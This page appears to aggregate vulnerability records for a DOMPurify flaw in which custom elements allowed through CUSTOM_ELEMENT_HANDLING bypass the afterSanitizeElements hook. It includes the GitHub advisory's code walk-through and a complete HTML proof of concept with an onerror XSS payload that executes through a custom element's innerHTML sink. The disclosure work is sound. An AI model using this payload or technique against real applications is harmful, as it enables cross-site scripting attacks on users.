DOMPurify before 3.4.12 Hook Bypass via CUSTOM_ELEMENT_HANDLING
Exploitation and risk
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cve-program · CVE-2026-66010
PublishedDOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.
- Source published
- 24 Jul 2026 12:07:57 UTC
- Source modified
- 17 Sep 2026 17:54:37 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
euvd · EUVD-2026-48582
PublishedDOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 24, 2026, 12:07:57 PM
dateUpdated: Sep 17, 2026, 5:54:37 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-3098: IBM DataPower Gateway: Mehrere Schwachstellen
CVE-2026-14521 · CVE-2026-66010
- Source published
- Jul 24, 2026, 12:07:57 PM (timezone not stated)
- Source modified
- Sep 17, 2026, 5:54:37 PM (timezone not stated)
- Saved here
- 15 Nov 2026 16:52:25 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
nvd · CVE-2026-66010
PublishedDOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-79
Original publisher date fields
published: 2026-07-24T13:18:28.720
lastModified: 2026-10-24T13:10:00.147
1 source CPE criteria · context only
- cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 24 Jul 2026 13:18:28 UTC
- Source modified
- 24 Oct 2026 13:10:00 UTC
- Saved here
- 25 Oct 2026 15:18:51 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
osv · GHSA-c2j3-45gr-mqc4
Published## Summary There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`. When a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements. This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget. ## Details The issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691 ```tsx const _sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { /* Check if we have a custom element to handle */ if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) { if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName) ) { return false; } if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName) ) { return false; } } ``` `CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748 ```tsx const customElementHandling = objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') && cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object' ? clone(cfg.CUSTOM_ELEMENT_HANDLING) : create(null); CUSTOM_ELEMENT_HANDLING = create(null); ``` In particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there. During element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814 ```tsx /* Remove element if anything forbids its presence */ if ( FORBID_TAGS[tagName] || (!( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) ) && !ALLOWED_TAGS[tagName]) ) { return _sanitizeDisallowedNode(currentNode, tagName); } ``` If so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result. Inside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692 ```tsx const _sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { /* Check if we have a custom element to handle */ if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) { if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName) ) { return false; } if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName) ) { return false; } } ``` If the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning “do not remove this node”. That early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including: - the namespace validation at `src/purify.ts`: line 1816~1826 ```tsx * Check whether element has a valid namespace. Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype nodeType getter rather than `instanceof Element`, which is realm- bound and short-circuits to false for any node minted in a different realm — letting a foreign-realm element with a forbidden namespace slip past the namespace check entirely. */ const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType; if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) { _forceRemove(currentNode); return true; } ``` - the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837 ```tsx /* Make sure that older browsers don't get fallback-tag mXSS */ if ( (tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML) ) { _forceRemove(currentNode); return true; } ``` - most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851. ```tsx /* Execute a hook if present */ _executeHooks(hooks.afterSanitizeElements, currentNode, null); ``` In other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`. In the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `<x-bio>` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget. ## PoC Reproduced on DOMPurify 3.4.11. ### Steps 1. Save the following HTML to a file, for example `poc.html`. 2. Open it in a browser. 3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it. 4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink. ### HTML PoC ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script> </head> <body> <pre id="result"></pre> <script> window.__controlFired = false; window.__candidateFired = false; customElements.define("x-bio", class extends HTMLElement { connectedCallback() { const bio = this.getAttribute("data-bio"); if (bio) this.innerHTML = bio; } }); DOMPurify.addHook("afterSanitizeElements", node => { if (node.hasAttribute && node.hasAttribute("data-bio")) { node.removeAttribute("data-bio"); } }); const config = { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: /^x-/ } }; const controlInput = '<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>'; const candidateInput = '<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>'; const cleanControl = DOMPurify.sanitize(controlInput, config); const cleanCandidate = DOMPurify.sanitize(candidateInput, config); const container = document.createElement("div"); container.innerHTML = cleanCandidate; document.body.appendChild(container); setTimeout(() => { document.getElementById("result").textContent = "This is not direct DOMPurify XSS.\n" + "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" + "control: " + cleanControl + "\n" + "candidate: " + cleanCandidate + "\n" + "after connectedCallback: " + container.innerHTML + "\n" + "control fired: " + window.__controlFired + "\n" + "candidate fired: " + window.__candidateFired; }, 100); </script> </body> </html> ``` ### Expected result ``` control: <div></div> candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio> after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio> control fired: false candidate fired: true ``` This is output of HTML PoC. <img width="1917" height="961" alt="poc" src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10" /> ## Impact This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass. The impact is limited to applications that: - enable `CUSTOM_ELEMENT_HANDLING`, - rely on `afterSanitizeElements` as a security policy layer, - expect that hook to apply uniformly to all surviving elements, - and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink. In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements. Possible fixes or mitigations might include - ensuring that allowed custom elements also consistently pass through `afterSanitizeElements` - documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.
- Source published
- 21 Jul 2026 19:41:07 UTC
- Source modified
- 2 Oct 2026 23:00:15 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Publisher rating · LOW
osv · GHSA-jxrp-r7gx-q4j8
Withdrawn## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c2j3-45gr-mqc4. This link is maintained to preserve external references. ## Original Description DOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.
- Source published
- 24 Jul 2026 15:33:01 UTC
- Source modified
- 2 Oct 2026 23:00:16 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Publisher rating · MODERATE